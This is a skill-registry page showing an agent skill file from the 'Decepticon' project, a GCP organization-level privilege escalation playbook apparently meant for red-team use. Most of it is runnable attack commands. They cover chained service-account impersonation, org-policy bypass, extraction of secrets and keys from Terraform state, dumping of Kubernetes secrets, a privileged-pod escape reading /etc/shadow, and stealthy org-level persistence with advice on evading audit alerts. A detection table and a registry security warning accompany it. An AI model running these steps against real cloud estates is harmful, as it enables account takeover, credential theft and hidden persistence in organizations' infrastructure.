CtrlK
BlogDocsLog inGet started
Tessl Logo

gcp-org-escalation

GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.

62

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md
SKILL.md
Quality
Evals
Security

GCP Organization-Level Privilege Escalation

Escalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org → Folder → Project → Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate.

Quick Reference

# Current identity and project
gcloud auth list
gcloud config get-value project
gcloud organizations list

# Enumerate org-level IAM
gcloud organizations get-iam-policy <ORG_ID> --format=json

# List all projects in org
gcloud projects list --filter="parent.id=<ORG_ID>" --format="table(projectId,name,lifecycleState)"

# Test cross-project service account impersonation
gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL>

# List org policy constraints
gcloud org-policies list --organization=<ORG_ID>

# Find Terraform state buckets
gsutil ls -p <PROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform

MITRE ATT&CK Mapping

TechniqueIDApplication
Valid Accounts: Cloud AccountsT1078.004Abuse compromised SA or user for cross-project access
Cloud Infrastructure DiscoveryT1580Enumerate projects, SAs, IAM bindings, resources across org
Account Manipulation: Additional Cloud RolesT1098.001Add IAM bindings for persistence
Steal Application Access TokenT1528Extract SA keys, OAuth tokens, metadata tokens
Cloud Storage Object DiscoveryT1619Discover Terraform state, config buckets

1. IAM Enumeration at Organization Level

# List organization
ORG_ID=$(gcloud organizations list --format="value(ID)" | head -1)
echo "Org ID: $ORG_ID"

# Org-level IAM policy (who has org-wide access)
gcloud organizations get-iam-policy "$ORG_ID" --format=json > org_iam.json
cat org_iam.json | jq '.bindings[] | select(.role | test("admin|owner|editor|security")) | {role, members}'

# List all folders
gcloud resource-manager folders list --organization="$ORG_ID" --format="table(name,displayName)" > folders.txt

# Enumerate folder-level IAM
while read folder_id; do
  echo "=== $folder_id ==="
  gcloud resource-manager folders get-iam-policy "$folder_id" --format=json 2>/dev/null
done < <(gcloud resource-manager folders list --organization="$ORG_ID" --format="value(name)")

# List ALL projects in org
gcloud projects list --filter="parent.id=$ORG_ID" --format=json > all_projects.json

# Per-project IAM enumeration (find over-permissioned SAs)
for proj in $(jq -r '.[].projectId' all_projects.json); do
  echo "=== $proj ==="
  gcloud projects get-iam-policy "$proj" --format=json 2>/dev/null | \
    jq '.bindings[] | select(.members[] | test("serviceAccount")) | {role, members}'
done

# List all service accounts across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
  gcloud iam service-accounts list --project="$proj" --format="table(email,displayName)" 2>/dev/null
done

# Test current permissions
gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \
  --format="table(bindings.role)"

2. Cross-Project Service Account Impersonation

# Service account impersonation chain:
# SA-A (compromised) → impersonate SA-B (target project) → access target resources

# Check if current SA can impersonate other SAs
gcloud iam service-accounts list --project=<TARGET_PROJECT> --format="value(email)" | while read sa; do
  echo "Testing: $sa"
  gcloud auth print-access-token --impersonate-service-account="$sa" 2>/dev/null && echo "[+] CAN IMPERSONATE: $sa"
done

# Check who can impersonate a specific SA
gcloud iam service-accounts get-iam-policy <TARGET_SA_EMAIL> --format=json | \
  jq '.bindings[] | select(.role | test("iam.serviceAccountTokenCreator|iam.serviceAccountUser"))'

# Multi-hop impersonation (SA chaining)
# SA-A → impersonate SA-B → impersonate SA-C
gcloud auth print-access-token \
  --impersonate-service-account=<SA_B_EMAIL> \
  --include-email 2>/dev/null

# Then use SA-B's token to impersonate SA-C via API
TOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=<SA_B_EMAIL>)
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_C_EMAIL>:generateAccessToken" \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}'

# Default compute SA often has Editor role on project — look for it
gcloud compute instances list --project=<PROJECT_ID> --format="table(name,serviceAccounts.email)" 2>/dev/null

# Workload Identity Federation — check for external identity trust
gcloud iam workload-identity-pools list --location=global --project=<PROJECT_ID> 2>/dev/null

3. Org Policy Constraint Bypass

# List active org policy constraints
gcloud org-policies list --organization="$ORG_ID" --format="table(constraint,listPolicy,booleanPolicy)"

# Common constraints to target:
# constraints/iam.allowedPolicyMemberDomains — restricts who gets IAM
# constraints/compute.vmExternalIpAccess — blocks external IPs
# constraints/iam.disableServiceAccountKeyCreation — blocks SA key export
# constraints/compute.requireShieldedVm — forces shielded VMs
# constraints/storage.uniformBucketLevelAccess — forces uniform bucket ACLs

# Check specific constraint
gcloud org-policies describe constraints/iam.disableServiceAccountKeyCreation \
  --organization="$ORG_ID" --format=json

# Bypass: constraints/iam.disableServiceAccountKeyCreation
# Cannot create key via CLI, but can still:
# 1. Use impersonation (no key needed)
gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL>

# 2. Generate short-lived tokens via API
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:generateAccessToken" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"43200s"}'

# 3. Sign JWTs for federated auth
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:signJwt" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"payload":"{\"iss\":\"<SA_EMAIL>\",\"sub\":\"<SA_EMAIL>\",\"aud\":\"https://oauth2.googleapis.com/token\",\"iat\":'"$(date +%s)"',\"exp\":'"$(($(date +%s)+3600))"'}"}'

# Bypass: constraints/compute.vmExternalIpAccess
# Use Cloud NAT or IAP tunnel instead of external IP
gcloud compute ssh <INSTANCE> --tunnel-through-iap --project=<PROJECT_ID>

# Bypass: constraints/iam.allowedPolicyMemberDomains
# If constraint allows only @target.com, compromise a target.com identity
# Or use a service account (SAs are exempt from domain restrictions in some configs)

4. Terraform State Access

# Terraform state files contain secrets, credentials, and full resource details

# Find Terraform state in GCS buckets
for proj in $(jq -r '.[].projectId' all_projects.json); do
  gsutil ls -p "$proj" 2>/dev/null | while read bucket; do
    gsutil ls -r "$bucket" 2>/dev/null | grep -iE 'terraform|\.tfstate'
  done
done

# Download Terraform state
gsutil cp gs://<BUCKET>/terraform.tfstate /tmp/tfstate.json

# Extract secrets from state
cat /tmp/tfstate.json | jq -r '.. | .attributes? // empty | to_entries[] | select(.key | test("password|secret|key|token|private")) | "\(.key): \(.value)"' 2>/dev/null

# Extract service account keys from state
cat /tmp/tfstate.json | jq -r '.. | select(.type? == "google_service_account_key") | .instances[].attributes.private_key' 2>/dev/null | base64 -d > /tmp/sa_key.json

# Extract database credentials
cat /tmp/tfstate.json | jq '.. | select(.type? == "google_sql_user") | .instances[].attributes | {name, password}' 2>/dev/null

# Find Terraform Cloud/Enterprise state (if using remote backend)
# Check .terraform/terraform.tfstate for backend config
find / -name "*.tfstate" -o -name "backend.tf" -o -name ".terraform" 2>/dev/null

# Check if Terraform state bucket has versioning (access old secrets)
gsutil versioning get gs://<BUCKET>
gsutil ls -a gs://<BUCKET>/terraform.tfstate  # list all versions
gsutil cp gs://<BUCKET>/terraform.tfstate#<GENERATION_ID> /tmp/old_tfstate.json

5. GKE Cluster Pivoting

# Enumerate GKE clusters across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
  echo "=== $proj ==="
  gcloud container clusters list --project="$proj" --format="table(name,location,currentMasterVersion,currentNodeVersion)" 2>/dev/null
done

# Get cluster credentials
gcloud container clusters get-credentials <CLUSTER_NAME> --zone=<ZONE> --project=<PROJECT_ID>

# Enumerate cluster
kubectl auth can-i --list
kubectl get namespaces
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces

# Extract secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | to_entries[] | {key: .key, value: (.value | @base64d)})}'

# Access cloud metadata from pod (node SA token)
kubectl run probe --image=alpine --restart=Never --command -- sh -c \
  "apk add curl jq && curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq ."

# Workload Identity — check pod SA mappings
kubectl get serviceaccounts --all-namespaces -o json | \
  jq '.items[] | select(.metadata.annotations["iam.gke.io/gcp-service-account"] != null) | {namespace: .metadata.namespace, k8sSA: .metadata.name, gcpSA: .metadata.annotations["iam.gke.io/gcp-service-account"]}'

# Escape to node (if privileged pod or hostPath mount)
kubectl run escape --image=alpine --restart=Never --overrides='{
  "spec":{"hostPID":true,"hostNetwork":true,"containers":[{
    "name":"escape","image":"alpine","command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash","-c","id; cat /etc/shadow | head -3"],
    "securityContext":{"privileged":true}
  }]}
}'

# GKE node SA typically has compute/storage access — pivot from there

6. Cross-Service Pivoting

# BigQuery — access datasets across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
  bq ls --project_id="$proj" 2>/dev/null | grep -v "datasetId"
done

# Query cross-project BigQuery (if IAM allows)
bq query --use_legacy_sql=false "SELECT * FROM \`<TARGET_PROJECT>.<DATASET>.<TABLE>\` LIMIT 100"

# Cloud Functions — list and read source code
for proj in $(jq -r '.[].projectId' all_projects.json); do
  gcloud functions list --project="$proj" --format="table(name,runtime,status)" 2>/dev/null
done

# Download function source
gcloud functions describe <FUNCTION_NAME> --project=<PROJECT_ID> --format="value(sourceArchiveUrl)"
gsutil cp <SOURCE_URL> /tmp/function_source.zip

# Secret Manager — list and access secrets
for proj in $(jq -r '.[].projectId' all_projects.json); do
  echo "=== $proj ==="
  gcloud secrets list --project="$proj" --format="table(name,createTime)" 2>/dev/null
done

# Read secret value
gcloud secrets versions access latest --secret=<SECRET_NAME> --project=<PROJECT_ID>

# Cloud SQL — find databases
for proj in $(jq -r '.[].projectId' all_projects.json); do
  gcloud sql instances list --project="$proj" --format="table(name,databaseVersion,ipAddresses)" 2>/dev/null
done

# Pub/Sub — read messages from subscriptions
gcloud pubsub subscriptions list --project=<PROJECT_ID>
gcloud pubsub subscriptions pull <SUBSCRIPTION_NAME> --project=<PROJECT_ID> --limit=10 --auto-ack

7. Persistence at Org Level

# Create SA key for persistent access (if key creation allowed)
gcloud iam service-accounts keys create /tmp/persist_key.json \
  --iam-account=<SA_EMAIL> --project=<PROJECT_ID>

# Add IAM binding at org level (if org admin)
gcloud organizations add-iam-policy-binding "$ORG_ID" \
  --member="serviceAccount:<SA_EMAIL>" \
  --role="roles/viewer"

# Create custom role with minimal permissions (less visible than predefined roles)
gcloud iam roles create customAuditor --organization="$ORG_ID" \
  --title="Custom Auditor" \
  --permissions="resourcemanager.projects.list,iam.serviceAccounts.list,storage.buckets.list"

# Workload Identity Federation — trust external IdP for persistent access
gcloud iam workload-identity-pools create "audit-pool" \
  --location="global" --project=<PROJECT_ID>

# Add SA to group that has org-level permissions
gcloud identity groups memberships add \
  --group-email="<PRIVILEGED_GROUP>@<DOMAIN>" \
  --member-email="<SA_EMAIL>"

Tools & Resources

ToolPurpose
gcloud CLICore GCP enumeration and exploitation
ScoutSuiteMulti-cloud security auditing (GCP module)
CartographyGCP asset inventory and relationship mapping
GCPBucketBruteGCS bucket discovery and enumeration
HayatGCP privilege escalation path finder
kubectlGKE cluster exploitation
TerraformState file analysis for secrets
Rhino Security gcpwnGCP exploitation framework

Detection Signatures

IndicatorDetection Method
Org IAM policy enumerationCloud Audit Logs: GetIamPolicy on organization resource
Cross-project SA impersonationIAM audit: GenerateAccessToken calls across project boundaries
Terraform state bucket accessGCS access logs: storage.objects.get on tfstate files
GKE secret enumerationK8s audit: list secrets across namespaces
SA key creationIAM audit: CreateServiceAccountKey events
Org-level IAM binding changesCloud Audit: SetIamPolicy on organization
Custom role creation at org levelIAM audit: CreateRole on organization resource
Bulk project listingResource Manager audit: ListProjects with org filter

Error Handling & Edge Cases

  • Org-level permissions denied: Start with project-level SA, enumerate impersonation chains to find a path upward
  • VPC Service Controls: Resources behind a perimeter reject calls from outside; must compromise an identity inside the perimeter or find a bridge project
  • Org policy blocks SA key creation: Use generateAccessToken API for short-lived tokens instead; impersonation doesn't require keys
  • No gcloud CLI available: Use raw REST API with curl and bearer tokens from metadata service
  • Audit log alerting: Reduce enumeration speed; target specific known-valuable projects instead of scanning all
  • Workload Identity in use: SA keys may not exist; must compromise the workload (pod/VM) that is mapped to the target SA

Decision Gate

IF single-project SA compromised:
  → Enumerate org structure (folders, projects)
  → Test impersonation against SAs in other projects
  → Search for Terraform state buckets (secrets goldmine)
  → Check GKE clusters for cross-project SA mappings

IF org-level read access obtained:
  → Dump all project IAM policies
  → Identify over-permissioned SAs (Editor/Owner on multiple projects)
  → Access Secret Manager across projects
  → Query BigQuery datasets for sensitive data

IF GKE cluster access:
  → Extract pod secrets and environment variables
  → Check Workload Identity mappings for GCP SA impersonation
  → Attempt node escape for compute SA token
  → Pivot to other clusters via shared SA

IF org admin achieved:
  → Create persistent org-level IAM binding
  → Deploy custom role for stealthy long-term access
  → Configure Workload Identity Federation for external trust
  → Access all Terraform state, secrets, and databases org-wide
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.